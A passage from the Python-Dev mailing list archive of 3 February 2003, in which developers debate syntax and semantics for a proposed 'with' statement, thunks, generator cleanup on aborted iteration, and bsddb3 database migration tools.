Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From aleax@aleax.it  Mon Feb  3 15:11:08 2003
From: aleax@aleax.it (Alex Martelli)
Date: Mon, 3 Feb 2003 16:11:08 +0100
Subject: [Python-Dev] Acquire/release functionality
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com>
Message-ID: <200302031611.08420.aleax@aleax.it>

On Monday 03 February 2003 03:31 pm, Moore, Paul wrote:
   ...
>     # File now gets closed
>     with g:
>        # Who's a naughty boy then - g is a closed file
>     # And the g.__exit__() call goes boom here...

Why does it go boom?

> I don't know if this is a significant issue - after all, I can write
> code which closes a closed file object in normal Python. But I do think

Sure:

>>> f=file('noproblemo','w')
>>> f.close()
>>> f.close()
>>> f.close()
>>>

...and it gives absolutely no problem.  We can close it a few more
times too.  I *LIKE* this: a termination-method SHOULD be idempotent
(a no-op when called more than once), so that if various ways to
"ensure the termination method is called" happen to be used all
at once, that doesn't break anything.  In this case, I think convenience
should trump "errors shouldn't pass silently" -- i.e. I'd much rather
define multiple calls to the terminator as "not an error", just like the
built-in file object does!

> If nothing else, it strikes me as a mild argument in favour of allowing
> the assignment to be part of the "with" clause, just so that people
> don't get used to seeing a bare "with g" (which doesn't include any
> obvious clues that g *needs* auto-cleanup).

Heh, good try (and I *WOULD* definitely like it if the optional assignment
could be part of the with syntax, since I think there will be an assignment
needed more often than not), but I'm not sure this specific argument
is that strong a support for our shared preference;-).


Alex



From aleax@aleax.it  Mon Feb  3 15:21:00 2003
From: aleax@aleax.it (Alex Martelli)
Date: Mon, 3 Feb 2003 16:21:00 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <6qvg01o144.fsf@salmakis.intevation.de>
References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <6qvg01o144.fsf@salmakis.intevation.de>
Message-ID: <200302031621.00800.aleax@aleax.it>

On Monday 03 February 2003 04:06 pm, Bernhard Herzog wrote:
   ...
> IMO whether with should allow assignment is really completely independed
> of "with". It's just the general design questions of whether to have
> assignment expressions at all.

M own O is drastically different: I'm quite happy to have no assignment
in expressions -- I think "with" SHOULD be able to bind a variable,
though, much like, say, "for" should (and does), because MOST of
the time you DO want that variable available in the body.  Not ALL
of the time, just like you sometimes have, say:
    for i in range(5)...
and don't care at all about 'i' in the body, but just need to repeat
something five times.  But I'd rather make some form of binding
MANDATORY in "with", as it is in "for", rather than forbid it.

If the "with blah = bloh:" sugar is not acceptable, I'd settle for
ALMOST anything that has these semantics... ALMOST because
the "with bloh: (blah):" kinds of thingies I've seen proposed on this
thread strike me as weird (having the bound name AFTER the
expression to which it's bound, and no clear indication at all that
a binding is taking place -- maybe it's just the fact that it's so
unusual in Python, but, do we really need those traits...?).


Alex



From aahz@pythoncraft.com  Mon Feb  3 15:21:25 2003
From: aahz@pythoncraft.com (Aahz)
Date: Mon, 3 Feb 2003 10:21:25 -0500
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030203140934.D10804@prim.han.de>
References: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> <20030203140934.D10804@prim.han.de>
Message-ID: <20030203152125.GB9574@panix.com>

On Mon, Feb 03, 2003, holger krekel wrote:
>
>     def __enter__(self):  
>         "before suite start"
> 
>     def __except__(self, type, value, tb): 
>         "swallow given exception, reraise if neccessary"
> 
>     def __leave__(self):
>         """upon suite finish (not called if __except__ 
>            exists and an exception happened)
>         """

No, __leave__/__exit__ should always be called regardless of whether an
exception hits.  That's the whole point of this proposal, IMO.

> One remark (mainly to Michael as he does that other 
> patch) about the hook-name __leave__ versus __exit__.
> we may want to eventually allow 'yield' within the
> thunk and then '__exit__' would be misleading.  Here is
> the use case:
> 
>     exec self.mylock:   # would lock/unlock on entering/leaving 
>                         # the generator
>         ...
>         for whatever in something:
>             yield whatever  
>         ...

I'm thinking that this is *way* too complex.  If you want something like
that, code it like this:

    for whatever in something:
        exec self.mylock:
            new_whatever = process(whatever)
        yield new_whatever
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From Paul.Moore@atosorigin.com  Mon Feb  3 15:24:26 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 15:24:26 -0000
Subject: [Python-Dev] Acquire/release functionality
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D1@UKDCX001.uk.int.atosorigin.com>

From: Aahz [mailto:aahz@pythoncraft.com]
> It's not at all contrived.  And I think it's perfectly acceptable;
> it's no different, fundamentally, from calling f.close() twice by
> mistake.

I blew the example, as I forgot that multiple close() calls were OK.
And maybe Alex's point that cleanup should be callable multiple times
kills the whole argument.

But I'm not entirely sure I follow your comment. Are you saying that
you think that using the same object in 2 with statements (where, by
definition, in the second the object will be "already cleaned up") is
acceptable, or that you think it's a mistake (in which case, are you
saying that we shouldn't care *because* the coder made a mistake?)

Actually, I think I'm guilty of muddy thinking here, in any case. I
can imagine a single "manager" object, which could be entirely valid
in multiple with statements:

    # Reusing the tired old file closing example, sorry, I'm
    # too befuddled to think up a new example right now...
    class manager:
        def __init__(self, f =3D None):
            self.f =3D f
        def control(self, f):
            self.f =3D f
        def __exit__(self):
            if self.f:
                self.f.close()
            self.f =3D None

    f =3D open("whatever.txt")
    M =3D manager(f)

    with M:
        # use M.f, could expose this better...

    M.control(open("another.txt"))
    with M:
        ...

I really can't decide if this is reasonable use, or horrible abuse. Or
somewhere in between. I'm pretty sure I wouldn't like to have to =
maintain
code like this at short notice, though...

Time to stop responding to messages and have a good think about all of
this.

Paul.


From mwh@python.net  Mon Feb  3 15:25:49 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 03 Feb 2003 15:25:49 +0000
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> ("Moore,
 Paul"'s message of "Mon, 3 Feb 2003 13:57:05 -0000")
References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com>
Message-ID: <2mu1flperm.fsf@starship.python.net>

"Moore, Paul" <Paul.Moore@atosorigin.com> writes:

> From: Michael Hudson [mailto:mwh@python.net]
>>>> How would I do this elegantly without the assignment...?
>>>
>>> Just as you do with if:
>>
>> Good point.  "with" testlist ':' NEWLINE it is, if it's me
>> that gets to write the PEP.
>
> Are you saying that you don't see the value of
>
>     with var = expr:
>         suite
>
> because it can be rewritten as
>
>     var = expr
>     with var:
>         suite
>
> ? Hmm, I suppose so.

Well, I'd consider making the "var =" optional, but that would require
hairy parser games (I think it would be possible, but very nasty).

Given that it (practically) can't be, I find having to make up a name
for something that doesn't need one (e.g.

with dummy = autolock(lock):
    ...

) more unpleasant than having to bind to a name in a different line.

[...]
> So I guess what I'm saying is that "with ... autoclose" only
> make sense in combination. Putting the two on different lines loses
> that connection. If you need to name the result of the autoclose()
> call, you either allow the with construct to include the assignment,
> or you lose that conceptual link.

Hmm, maybe the nasty parser hacks would be worth it...

Cheers,
M.

-- 
8. A programming language is low level when its programs require
   attention to the irrelevant.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From skip@pobox.com  Mon Feb  3 15:30:41 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 09:30:41 -0600
Subject: [Python-Dev] bsddb3 upgrade woes - more gentle transition?
In-Reply-To: <15934.29006.134368.613503@montanaro.dyndns.org>
References: <15934.29006.134368.613503@montanaro.dyndns.org>
Message-ID: <15934.35617.480102.179585@montanaro.dyndns.org>

    Skip> Given that most people aren't aware of how to convert their
    Skip> database files and very possibly don't have the necessary RPMs (or
    Skip> other system-specific packages) installed to do the file
    Skip> conversion, I think we need to work a little harder to smooth the
    Skip> transition.  I'm not certain just what form that should take.  At
    Skip> the very least I will write some text in Misc/NEWS to better
    Skip> indicate what the underlying problem is and ways to solve it.

    Skip> I suspect that many people won't have immediate access to
    Skip> Sleepycat's conversion tools (for any number of reasons).  I think
    Skip> a pair of dump/load scripts in Tools/scripts which use pickle as
    Skip> an intermediate format would also be helpful.

Done.  See Misc/NEWS, Tools/scripts/{pickle2db,db2pickle}.py.  I've gone
back and forth using Python 2.1.3, 2.2.2 and current CVS using the bsddb
stuff, though I haven't tested all the possible database formats and don't
have Python 1.5.2 to try with anymore.  I tried to avoid gratuitous
incompatibilities with older versions of Python, but some extra exercise
using 2.0 and 1.5.2 with different databases would be appreciated.

Skip



From aahz@pythoncraft.com  Mon Feb  3 15:13:35 2003
From: aahz@pythoncraft.com (Aahz)
Date: Mon, 3 Feb 2003 10:13:35 -0500
Subject: [Python-Dev] Acquire/release functionality
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com>
Message-ID: <20030203151335.GA9574@panix.com>

On Mon, Feb 03, 2003, Moore, Paul wrote:
>
> In trying to draw a parallel between "with" and the C++ RAII idiom, I
> hit a funny, best illustrated by an example:
> 
>     class autoclose(file):
>         __exit__ = close
> 
>     with f = autoclose("blah.txt", "r"):
>         # Let's get sneaky
>         g = f
>         # Main code here
> 
>     # File now gets closed
>     with g:
>        # Who's a naughty boy then - g is a closed file
>     # And the g.__exit__() call goes boom here...
> 
> OK, it's contrived. The equivalent C++ risk is that of creating a dangling
> pointer to a local variable which is deleted, which is also rare.

It's not at all contrived.  And I think it's perfectly acceptable; it's
no different, fundamentally, from calling f.close() twice by mistake.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From barry@python.org  Mon Feb  3 15:48:54 2003
From: barry@python.org (Barry A. Warsaw)
Date: Mon, 3 Feb 2003 10:48:54 -0500
Subject: [Python-Dev] bsddb3 upgrade woes - more gentle transition?
References: <15934.29006.134368.613503@montanaro.dyndns.org>
Message-ID: <15934.36710.115046.420834@gargle.gargle.HOWL>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    SM> I've seen a couple messages on c.l.py and the spambayes list
    SM> about "breakage" with the new bsddb3 module.  In both cases
    SM> the breakage they occurred probably wasn't directly related to
    SM> the change of the modules.  It's almost certain that they have
    SM> two versions of Berkeley DB installed and were using a 2.x or
    SM> 1.8[56] version with the old bsddb module and are now linking
    SM> against the 3.x or 4.x library with the new module.

Just remember that there's a difference between the API version and
the database version.

I'm not sure what the best approach is for migration to Python 2.3,
other than grabbing and compiling the Sleepycat tools. :/

-Barry


From skip@pobox.com  Mon Feb  3 16:01:49 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 10:01:49 -0600
Subject: [Python-Dev] bsddb3 upgrade woes - more gentle transition?
In-Reply-To: <15934.36710.115046.420834@gargle.gargle.HOWL>
References: <15934.29006.134368.613503@montanaro.dyndns.org>
 <15934.36710.115046.420834@gargle.gargle.HOWL>
Message-ID: <15934.37485.999494.224814@montanaro.dyndns.org>

>>>>> "BAW" == Barry A Warsaw <barry@python.org> writes:

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    SM> I've seen a couple messages on c.l.py and the spambayes list
    SM> about "breakage" with the new bsddb3 module.  In both cases
    SM> the breakage they occurred probably wasn't directly related to
    SM> the change of the modules.  It's almost certain that they have
    SM> two versions of Berkeley DB installed and were using a 2.x or
    SM> 1.8[56] version with the old bsddb module and are now linking
    SM> against the 3.x or 4.x library with the new module.

    BAW> Just remember that there's a difference between the API version and
    BAW> the database version.

Yup.

    BAW> I'm not sure what the best approach is for migration to Python 2.3,
    BAW> other than grabbing and compiling the Sleepycat tools. :/

Tools/scripts/{db2pickle,pickle2db}.py, of course. ;-)

Skip



From jo@jan.csie.ntu.edu.tw  Mon Feb  3 16:12:16 2003
From: jo@jan.csie.ntu.edu.tw (jo@jan.csie.ntu.edu.tw)
Date: Tue, 4 Feb 2003 00:12:16 +0800
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030203152618.4383.1348.Mailman@mail.python.org>
References: <20030203152618.4383.1348.Mailman@mail.python.org>
Message-ID: <20030203161216.GA2343@jan.csie.ntu.edu.tw>

> From: "Gerald S. Williams" <gsw@agere.com>
> holger krekel wrote:
> > I think we can may get away with only a "weak" keyword
> > and allow the aforementioned encapsulation of execution 
> > events into an object like this:
> > 
> >     exec expr [with params]: suite
> 
> I was about to propose something similar. This looks like
> it can be unified with what Guido proposed.
> 
> > regards and interested in comments,
> 
> An observation:
> 
> Used like this, "with" looks like an alias for "lambda"
> (providing default values for all parameters).
> 

Yes. If we have multiline lambda, we could write:

def autoclose(f, action):
    try:
        action(f)
    finally:
        f.close()

autoclose(open("blah.txt"),
    lambda f:
        for line in f:
            print line
)



From arigo@tunes.org  Mon Feb  3 16:10:42 2003
From: arigo@tunes.org (Armin Rigo)
Date: Mon, 3 Feb 2003 17:10:42 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU> <200302022250.37389.aleax@aleax.it> <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU> <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico>
Message-ID: <20030203161042.GA15970@magma.unil.ch>

Hello,

On Sun, Feb 02, 2003 at 11:14:41PM +0100, Samuele Pedroni wrote:
> (...do:...)
> 
> no there is no first-class thunk here, this is really just sugar for a
> try-finally. The point here is not to need first-class thunks!

If no first-class thunks are wanted, then maybe the most direct path from
today to auto-closing files is to extend the iterator protocol with an
optional __leave__() method.  It would be called exactly once when the
iterator is considered to be exhausted.  The semantics of 'for' would be
modified to always call it at the end of the loop, even when an exception or a
return occurs within the loop.

It would allow users to write

   f = auto_closing_file('data.txt', 'r')
   for line in f:
      ...

or

   for lock in synchronized(lock):
      ...

This second one looks a bit unexpected, but it needs no new syntax and no
brand new protocol.  (The 'lock' variable between 'for' and 'in' is not really 
needed in this example.)


Armin


From bh@intevation.de  Mon Feb  3 16:31:34 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 03 Feb 2003 17:31:34 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302031621.00800.aleax@aleax.it>
References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com>
 <6qvg01o144.fsf@salmakis.intevation.de>
 <200302031621.00800.aleax@aleax.it>
Message-ID: <6qr8apnx5l.fsf@salmakis.intevation.de>

Alex Martelli <aleax@aleax.it> writes:

> M own O is drastically different: I'm quite happy to have no assignment
> in expressions -- I think "with" SHOULD be able to bind a variable,
> though, much like, say, "for" should (and does), because MOST of
> the time you DO want that variable available in the body.

I for one am not so sure about the most. It's not needed for a lock for
instance. I do realise that it will often be convenient, though, such as
in the file example.

OTOH, an assignment would often be convenient in a while loop or if
statement as well and while people often ask for assignments in if and
while so far Python has not been changed to allow it.

I think that if "with" is added to Python it should not allow assignment
at first. Then after people have been using it for some time we can look
at the actual use cases and if it turns out that the need for an
assignment is much greater in "with" than in "while" et al. it can
easily be added without any backwards incompatibility.

We should also keep in mind that if Python had a way to do assignment in
expressions there wouldn't be any need to make "with" special in this
regard.

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From guido@python.org  Mon Feb  3 16:53:50 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 11:53:50 -0500
Subject: [Python-Dev] thunks
Message-ID: <200302031653.h13Grof20104@odiug.zope.com>

I still don't have time to read this thread :-(, but I had a new idea
that I'd like to fly here.

If we want to support thunks that blend into the scope of their
environment as well as thunks that introduce a new local scope, here's
one possible way to do it:

Thunk blending in:

  [<variable> =] <expression>:
    <block>

Thunk introducing a new local scope:

  [<variable> =] <expression> lambda:
     <block>

(Never mind the ugly things I've said about lambda in the past. :-)

I'm confident that the parser can distinguish these, and I'm confident
that the scope blending can be implemented using nested-scope cells.

Adding formal parameters to the second case would go like this:

  [<variable> =] <expression> lambda <arguments>:
     <block>

One concern I have in both cases: I think there are use cases for
wanting more than one block.  Glyph's example wants to define various
callbacks for a remote call, and this would need multiple blocks.  I
think the syntax for this would have to use some kind of keyword-based
continuation, e.g.

  [<variable> =] <expression> lambda:
    <block>
  and <expression> lambda:
    <block>
  ...

Disclaimer: this is a half-baked idea.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From rnd@onego.ru  Mon Feb  3 17:08:33 2003
From: rnd@onego.ru (Roman Suzi)
Date: Mon, 3 Feb 2003 20:08:33 +0300 (MSK)
Subject: [Python-Dev] thunks
In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com>
Message-ID: <Pine.LNX.4.44.0302032006040.6876-100000@rnd.onego.ru>

What about my idea (I have another posting to  python-dev
probably unnoticed)


code_thunk = ```
if Guido.let_it_fly():
  print "This is my syntax for inline code block"
```

Any other operations (even adding parameters) - thru function application.

Sincerely yours, Roman Suzi
-- 
rnd@onego.ru =\= My AI powered by Linux RedHat 7.3




From dan@sidhe.org  Mon Feb  3 17:19:44 2003
From: dan@sidhe.org (Dan Sugalski)
Date: Mon, 3 Feb 2003 12:19:44 -0500
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <3E3E4BE7.7000303@tismer.com>
References: <20030130211504.810.qmail@web10302.mail.yahoo.com>
 <a05200f00ba5f684a67c5@[63.120.19.221]>
 <007301c2c8bb$7d022f90$ced241d5@hagrid>
 <a05200f03ba5f70e865d4@[63.120.19.221]> <3E3E4BE7.7000303@tismer.com>
Message-ID: <a05200f05ba6454fa5609@[63.120.19.221]>

At 12:00 PM +0100 2/3/03, Christian Tismer wrote:
>Dan Sugalski wrote:
>...
>
>>If you want to bet, I'll put up $10 and a round of beer (or other 
>>beverage of your choice) at OSCON 2004 for all the python labs & 
>>zope folks that says parrot beats the current python interpreter 
>>when running all the python benchmark suite programs (that don't 
>>depend on extensions written in C, since we're shooting for pure 
>>engine performance) from bytecode. Game?
>
>Do you mean the current Python interpreter of 2004?
>That could be quite a different beast...

While it could be, that's unlikely. Still, that'd be part of the 
ground rules we'd work out if someone takes me up on the challenge.
-- 
                                         Dan

--------------------------------------"it's like this"-------------------
Dan Sugalski                          even samurai
dan@sidhe.org                         have teddy bears and even
                                       teddy bears get drunk


From oren-py-d@hishome.net  Mon Feb  3 17:21:16 2003
From: oren-py-d@hishome.net (Oren Tirosh)
Date: Mon, 3 Feb 2003 12:21:16 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <2mu1flperm.fsf@starship.python.net>
References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <2mu1flperm.fsf@starship.python.net>
Message-ID: <20030203172116.GA1513@hishome.net>

On Mon, Feb 03, 2003 at 03:25:49PM +0000, Michael Hudson wrote:
> Well, I'd consider making the "var =" optional, but that would require
> hairy parser games (I think it would be possible, but very nasty).
> 
> Given that it (practically) can't be, I find having to make up a name
> for something that doesn't need one (e.g.
> 
> with dummy = autolock(lock):
>     ...
> 
> ) more unpleasant than having to bind to a name in a different line.

I agree. I don't see anything wrong with

f=open('spam', 'r')
with autoclose(f):
   ...

and I think that 

with autolock(obj):
   ...

looks better than any other alternative proposed so far. I don't
really need the autolock object for anything. I actually prefer not
to see it just like I don't see the anonymous iterator created in
a for loop.


I have an idea how to implement this as an extension of generators.

Currently, when a generator yields and is never resumed it just dies
silently. I suggest that it would be resumed one last time with an 
AbortIteration exception raised at the yield statement. If it does not
catch this exception it is simply ignored. If it does catch it the
generator may either raise another exception or return, but not yield. 
This is similar to a patch I submitted some time ago that allows 
try/finally in a generator. The difference is that this exception 
based system does not make such a strong guarantee as try/finally - it 
will be triggered when the iteration is aborted by break, return or an 
exception in the looping scope but not by a __del__ of a generator 
object dropping to refcnt of 0 so it should be "Jythonially correct".

So how does it solve the 'with' issue? The 'with' statement can be 
defined as a very degenerate form of 'for'. It takes an iterable object 
as argument but throws away the result and does not bind a variable.

Here is a hypothetical implementation of autoclose:

def autoclose(f):
  try:
      yield None
      print >>log, "terminated normally!"
  except AbortIteration:
      print >>log, "iteration aborted!"
  f.close()

Or, more generally:

def foo(args):

  #__enter__

  try:
      yield None

      #__leave__ 
      # normal termination of block

  except AbortIteration, exc:

      #__except__ 
      # exc.reason = exception that caused the iteration to abort 
      # or None for loops aborted with break or return statements

  #"finally" - all cases eventually reach this point

The implementation is relatively simple. It requires a 'for' or 'with' 
block to somehow inform its iterator that it has been terminated 
prematurely when popped off the block stack for any reason other than 
normal StopIteration. When the generator object gets this message it 
resumes the frame one last time with an AbortIteration exception raised.

This also adds a feature to generators and iterators that is generally 
useful for cleaning up after loops, not only 'with' statements. With 
this extension it's possible to write a database iterator that is able 
to tell whether the loop using it has been terminated by break or return, 
an exception, or normal termination and decide whether to commit or 
rollback.

A tricky part is aborting a loop by break or reaturn. It should only 
raise an AbortIteration in this case if an actual new generator was 
created for the loop. It should not be triggered if "iter(x) is x". In 
that case the user may have intended to continue using that iterator. 
In other words, this mechanism is guaranteed only when using automatically 
generated iterators. If you use explicit iterators it's your 
responsibility to ensure everything is cleaned up.

	Oren



From pedronis@bluewin.ch  Mon Feb  3 17:20:42 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 3 Feb 2003 18:20:42 +0100
Subject: [Python-Dev] thunks
References: <200302031653.h13Grof20104@odiug.zope.com>
Message-ID: <021b01c2cba8$949a9c60$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> I still don't have time to read this thread :-(, but I had a new idea
> that I'd like to fly here.
>
> If we want to support thunks that blend into the scope of their
> environment as well as thunks that introduce a new local scope, here's
> one possible way to do it:
>
> Thunk blending in:
>
>   [<variable> =] <expression>:
>     <block>
>
> Thunk introducing a new local scope:
>
>   [<variable> =] <expression> lambda:
>      <block>
>
> (Never mind the ugly things I've said about lambda in the past. :-)
>
> I'm confident that the parser can distinguish these, and I'm confident
> that the scope blending can be implemented using nested-scope cells.
>
> Adding formal parameters to the second case would go like this:
>
>   [<variable> =] <expression> lambda <arguments>:
>      <block>
>
> One concern I have in both cases: I think there are use cases for
> wanting more than one block.  Glyph's example wants to define various
> callbacks for a remote call, and this would need multiple blocks.  I
> think the syntax for this would have to use some kind of keyword-based
> continuation, e.g.
>
>   [<variable> =] <expression> lambda:
>     <block>
>   and <expression> lambda:
>     <block>
>   ...
>
> Disclaimer: this is a half-baked idea.

Is lambda for generalizing 'class'??  It is worth to rember that 'class' has
different scoping rules than def!

>>> def c():
...  x = 1
...  class B:
...    x=2
...    def f(self):
...     return x
...  return B()
...
>>> b=c()
>>> b.x
2
>>> b.f() # not 2
1









From tim.one@comcast.net  Mon Feb  3 17:07:47 2003
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 03 Feb 2003 12:07:47 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <20030203095908.Z10804@prim.han.de>
Message-ID: <BIEJKCLHCIOIHAGOKOLHEEKGELAA.tim.one@comcast.net>

[holger krekel]
> What do you mean with "generator's stack frame is popped"?

At the end of eval_frame():

	/* pop frame */
	--tstate->recursion_depth;
	tstate->frame = f->f_back;

	return retval;

The current frame is always popped from the thread state's frame stack,
regardless of the reason for leaving eval_frame() (and generator yield is
identical to function return in this respect).

> I interpreted this code in ceval.c
>
>     if (why != WHY_YIELD) {
>             /* Pop remaining stack entries -- but when yielding */
>             while (!EMPTY()) {
>                 v = POP();
>                 Py_XDECREF(v);
>             }
>     }
>
> to mean the frame is suspended with a preserved stack.
> f_stacktop/last_i later are used to resume.

Like that's news to me <wink>.  Until it is resumed, the frame doesn't
appear anywhere on the thread state's stack -- it would be lost entirely
except that a generator-iterator object still holds a reference to it



From pyth@devel.trillke.net  Mon Feb  3 17:46:22 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 18:46:22 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal (on a new thread eventually)
In-Reply-To: <20030203143531.F10804@prim.han.de>; from pyth@devel.trillke.net on Mon, Feb 03, 2003 at 02:35:31PM +0100
References: <20030203143531.F10804@prim.han.de>
Message-ID: <20030203184622.A5939@prim.han.de>

Aahz wrote:
> [holger krekel]
> >
> >     def __enter__(self):  
> >         "before suite start"
> > 
> >     def __except__(self, type, value, tb): 
> >         "swallow given exception, reraise if neccessary"
> > 
> >     def __leave__(self):
> >         """upon suite finish (not called if __except__ 
> >            exists and an exception happened)
> >         """
> 
> No, __leave__/__exit__ should always be called regardless of whether an
> exception hits.  That's the whole point of this proposal, IMO.

The __except__ hook (like all others) is optional.  Always invoking 
__except__ and __leave__ would amount to a try-except-finally clause 
which is seldomly needed and not existing today.  

Most often you either have exception handling or finally-handling.  
Anyway, it is no problem to invoke __leave__ from within __except__ if 
this is really neccessary (it hasn't been with my use cases). 
And __leave__ does get invoked if there is no __except__.

> > One remark (mainly to Michael as he does that other 
> > patch) about the hook-name __leave__ versus __exit__.
> > we may want to eventually allow 'yield' within the
> > thunk and then '__exit__' would be misleading.  Here is
> > the use case:
> > 
> >     exec self.mylock:   # would lock/unlock on entering/leaving 
> >                         # the generator
> >         ...
> >         for whatever in something:
> >             yield whatever  
> >         ...
> 
> I'm thinking that this is *way* too complex.

If yield would be allowed inside try-finally then this 
would be straight forward IMO.  Obviously, today there is
a semantic problem because it is unclear if the finally-code
should be executed multiple times.  

But with the exec/with proposal this can be cleanly 
defined from the start (enter/leave) *just in case* 
that we ever want to allow yield within the new 
thunk-construct.  

Actually, I am just arguing that the "finish" hook should be 
named '__leave__' rather than '__exit__' because the latter
sounds like "completly finished".  I don't think it hurts even
if we never allow yield within try-finally.

regards,

    holger


From oren-py-d@hishome.net  Mon Feb  3 17:49:13 2003
From: oren-py-d@hishome.net (Oren Tirosh)
Date: Mon, 3 Feb 2003 12:49:13 -0500
Subject: [Python-Dev] thunks
In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com>
References: <200302031653.h13Grof20104@odiug.zope.com>
Message-ID: <20030203174913.GB1513@hishome.net>

On Mon, Feb 03, 2003 at 11:53:50AM -0500, Guido van Rossum wrote:
> Thunk blending in:
> 
>   [<variable> =] <expression>:
>     <block>
> 
> Thunk introducing a new local scope:
> 
>   [<variable> =] <expression> lambda:
>      <block>
> 
> (Never mind the ugly things I've said about lambda in the past. :-)
> 
> I'm confident that the parser can distinguish these, and I'm confident
> that the scope blending can be implemented using nested-scope cells.

Why not treat the "blended" version as just another nested block, like
for, if, while etc? Thinking in terms of "thunks" is useful if you intend 
to keep a reference to this code that can be executed after the function 
containing it has exited. Is there any reason to use a *blended* block
for this purpose? A piece of code modifies local variables of a dead 
function? Just think how messy it's going to be if it modifies the locals 
of the function while it is still running. I think it's best not to have 
any reference to it or not make it an object at all.

See my previous posting on how this type of "blended blocks" can be
imlemented mostly by reusing the generator mechanisms. Using iterators
for the "with" statement may be a little ugly, but it shows how this
problem can be approached without thinking in thunks.

The non-blended version seems more suitable for defining things like 
functions, classes, properties, widgets etc. I would prefer for it to 
have a syntax more similar to functions or classes - a syntax that binds 
exactly one name in the scope containing it and uses the form

keyword-introducer NAME {other stuff}:
    suite

rather than assignment. I think it will be a good cue to the fact that
these blocks are definitions with their own scope, not control flow
structures that blend into their surroundings.

> 
> Adding formal parameters to the second case would go like this:
> 
>   [<variable> =] <expression> lambda <arguments>:
>      <block>

If a non-blended block wants to define multiple entry points it can just 
use functions, like methods in a class. This requires that this block be
executed immediately and the resulting dictionary stored for later
use. I think the remembering the convention for naming the functions in
this block is preferred to this mixed syntax.

thunk-you-very-much,

    Oren



From pyth@devel.trillke.net  Mon Feb  3 17:03:35 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 18:03:35 +0100
Subject: [Python-Dev] Acquire/release functionality
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com>; from Paul.Moore@atosorigin.com on Mon, Feb 03, 2003 at 02:31:39PM -0000
References: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com>
Message-ID: <20030203180335.I10804@prim.han.de>

Moore, Paul wrote:
> Paul Moore <lists@morpheus.demon.co.uk> writes:
> 
> > As far as the acquire/release case is concerned, I think that there is
> > definitely a strong case for syntactic support for this. The
> > equivalent idiom in C++ is "resource acquisition is initialisation"
> > which, while not having syntax support, does rely on the existence of
> > deterministic destructors, and on the ability to introduce a new scope
> > at will. Python has neither of these, and the try...finally construct
> > is verbose enough to make something better worth having.
> 
> In trying to draw a parallel between "with" and the C++ RAII idiom, I
> hit a funny, best illustrated by an example:
> 
>     class autoclose(file):
>         __exit__ = close
> 
